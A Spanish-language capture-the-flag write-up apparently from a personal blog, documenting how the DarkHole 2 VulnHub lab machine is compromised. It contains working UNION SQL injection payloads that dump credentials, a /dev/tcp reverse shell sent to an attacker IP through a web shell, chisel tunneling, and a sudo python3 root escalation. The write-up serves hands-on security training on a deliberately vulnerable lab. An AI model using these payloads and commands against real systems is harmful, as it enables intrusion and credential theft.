cd ~/blog

~/writeups/vulnhub/01-darkhole_2.md

01 - DarkHole 2

medium Linux vulnhub 30-08-2021
Exposed .git repositorySQL Injection (UNION)Local web shell + port forwarding (chisel)sudo python3 Privesc
www.vulnhub.com/entry/darkhole-2,740/

~2 min de lectura


Enumeramos puertos (22 y 80) y detectamos un repositorio .git expuesto y un login web:

 nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oN 01-allPorts 192.168.1.37
 nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.37

Descargamos el repositorio (Exposed .git Repository) y revisamos el historial de commits:

 wget -r 192.168.1.37:80/.git/
 git log
...
commit a4d900a8d85e8938d3601f3cef113ee293028e10
    I added login.php file with default credentials
...

 git show a4d900a8d85e8938d3601f3cef113ee293028e10

El commit revela credenciales por defecto. Iniciamos sesión a través del sitio web (interceptando con Burp Suite para analizar el tráfico). Al autenticarnos nos redirige a http://192.168.1.37/dashboard.php?id=1, que a simple vista parece vulnerable a SQL Injection. Probar con ?id=2 carga un usuario vacío, lo que nos servirá para reflejar nuestras inyecciones.

En Burp, las inyecciones deben "encodearse" a un formato válido para la URL con Ctrl+U. Sin encodear, el servidor responde 400 Bad Request (error de cliente); ya encodeado, un 500 Internal Server Error indica que la consulta llegó al backend.

1. Número de columnas con ORDER BY. Haciendo fuzzing manual del valor, el error 500 desaparece al llegar a 6, por lo que la tabla activa tiene 6 columnas:

/dashboard.php?id=2' ORDER BY 100 -- -

2. Columnas visibles con UNION SELECT. Con id=1 no se reflejan cambios, así que usamos id=2 (usuario vacío) para ver dónde se imprime cada campo. Solo se muestran las posiciones 2, 3, 5 y 6:

/dashboard.php?id=2' UNION SELECT 1,2,3,4,5,6-- -

3. Enumeración progresiva. Volcamos el nombre de la base en uso, listamos todas las bases, sus tablas y columnas (GROUP_CONCAT une los múltiples resultados en un solo campo; el límite visual del input se evita leyendo el código fuente de la página). 0x3a es el carácter : en hexadecimal:

-- base de datos actual
/dashboard.php?id=2' UNION SELECT 1,database(),3,4,5,6-- -
-- todas las bases del sistema
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(schema_name), 3, 4, 5, 6 FROM information_schema.schemata-- -
-- tablas de darkhole_2  → ssh, users
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5, 6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -
-- columnas de la tabla ssh → id, pass, user
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(column_name), 3, 4, 5, 6 FROM information_schema.columns WHERE table_schema='darkhole_2' AND table_name='ssh'-- -
-- volcado de credenciales
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(user,0x3a,pass), 3, 4, 5, 6 FROM ssh-- -

Obtenemos jehad:fool y entramos por SSH. En el .bash_history y con netstat/ps descubrimos un servidor local en el puerto 9999 corriendo como el usuario losy, con un index.php que ejecuta comandos. El puerto 9999 no aparecía en el escaneo de nmap, por lo que es un servicio solo accesible desde localhost:

 ssh jehad@192.168.1.37
jehad@darkhole:~$ netstat -nat
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN
jehad@darkhole:~$ ps -faux | grep 9999
losy ... php -S localhost:9999
<?php
 echo "Parameter GET['cmd']";
 if(isset($_GET['cmd'])){ echo system($_GET['cmd']); }
?>

Confirmamos que los comandos se ejecutan como losy:

curl localhost:9999/?cmd=whoami     # → Parameter GET['cmd']losy
curl localhost:9999/?cmd=id         # → uid=1002(losy) gid=1002(losy) groups=1002(losy)

Para acceder a esa webshell desde nuestra máquina, hacemos un remote port forwarding del puerto 9999 (Port Forwarding). Dos opciones:

Opción A — ssh -L (la más simple), reutilizando las credenciales de jehad:

 ssh jehad@192.168.1.37 -L 9999:127.0.0.1:9999

Opción B — chisel. Descargamos el binario, lo servimos a la víctima y montamos el túnel reverso:

# en el atacante: descargar, extraer y dar permisos
 wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
 gunzip chisel_1.9.1_linux_amd64.gz && mv chisel_1.9.1_linux_amd64 chisel && chmod +x chisel
 sudo python -m http.server 80          # servir el binario

# en la víctima: descargarlo
jehad@darkhole:~$ wget 192.168.1.10/chisel && chmod +x chisel

# atacante en modo servidor (reverse)
 ./chisel server --reverse -p 1234
# víctima en modo cliente: expone su 9999 en el 9999 del atacante
jehad@darkhole:~$ ./chisel client 192.168.1.10:1234 R:9999:127.0.0.1:9999

 lsof -i:9999    # verificamos que chisel está escuchando el puerto

Con el puerto ya expuesto, lanzamos una reverse shell a través de la webshell (en el navegador, reemplazar los & por %26):

 sudo nc -nlvp 443
localhost:9999/?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.10/443 0>&1"

Estabilizamos la TTY (Tratamiento de la TTY):

script /dev/null -c bash
export TERM=xterm
^Z
stty raw -echo; fg
reset xterm

Ya como losy, obtenemos la primera flag. Su contraseña está en el .bash_history. Buscamos binarios SUID con find \-perm -4000 2>/dev/null (se podría explotar pkexec, pero esta vez lo haremos por otra vía). sudo -l muestra que losy puede ejecutar python3 como root:

User losy may run the following commands on darkhole:
    (root) /usr/bin/python3
losy@darkhole:~$ sudo -u root python3
>>> import os
>>> os.system('bash')
root@darkhole:~#

Obtenemos la flag de root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados